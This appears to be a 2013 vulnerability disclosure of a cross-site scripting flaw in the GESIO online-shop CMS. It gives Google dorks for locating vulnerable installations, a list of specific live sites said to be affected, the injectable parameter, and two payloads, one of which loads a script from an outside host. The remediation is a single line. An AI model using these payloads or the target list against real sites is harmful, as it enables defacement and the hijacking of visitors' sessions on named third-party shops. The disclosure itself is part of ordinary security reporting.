=============================================================================================+
+ Software Gestión GESIO & XSS & Allow Execute Evil Remote Code +
+=============================================================================================+
Author(s): Ivan Sanchez & Raul Diaz
Product: Software Gestión GESIO
Web:http://www.gesio.com/
Versions: Modulo / Tienda Online - CM
Date: 18/04/2013
Vendor Notified: 18/04
Vendor Notified again: 19/04
Extract:
http://www.gesio.com/tienda-online-cms-89-50-431/
"Tu tienda Online conectada a tu facturación diaria. Facturarás con el mismo sistema que vendes online.
En GESIO® pensamos que un sistema de gestión online debe tener la posibilidad de desarrollar Tienda Online"
GOOGLE DORKS:
------------
allintext:POLÍTICA DE PROTECCIÓN DE DATOS -Software Gestión GESIO®
inurl:cms/site_0003
Sites affected
--------------------
ALL SITES USING THIS CM
http://www.qualitycenter.es/lp/
http://www.greenhabit.es/lp/
http://www.latiendadelhormigonimpreso.com/lp/
http://www.minisub.es/lp/
http://www.vitalarchery.com/lp/
http://www.palacios-congresos-es.com/lcli/
http://www.aulasconsoftware.com/lp/
http://www.arthulencourt.eu/lp/
http://www.soltercam.com/lp/
http://www.sol-i-vent.es/lp/
http://www.ale-hop.org/lp/
http://creugal-hobby.com/lp/
http://www.xipnet.es/lp/
http://www.canterbury.es/lp/
http://ociostock.com/lp/
http://guatebloem.com/productos_listado.php
much more....
Attacks >>>>>>>>>>>>>>>>>>>
XSS & REMOTE INJECTION CODE:
---------------------------
'">><marquee><h1>EvilCode Team</h1></marquee>
Or
"><script src=http://nullcode.com.ar/code/scripts/EVIL.js></script> EXTERNAL EVIL CODE !
Parameter Affected:
-------------------
--form 1 --
http://www.sites/comunicados_listado.php?filtro_texto= INJECT HERE
and much more...
Remediation:
------------
Could you please validate the input , sanitize each parameter.
Thanks you so much!
NULL CODE SERVICES [ www.evilcode.com.ar ] Hunting Security Bugs!
+=============================================================================================+
+ Software Gestión GESIO & XSS & Allow Execute Evil Remote Code +
+=============================================================================================+
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information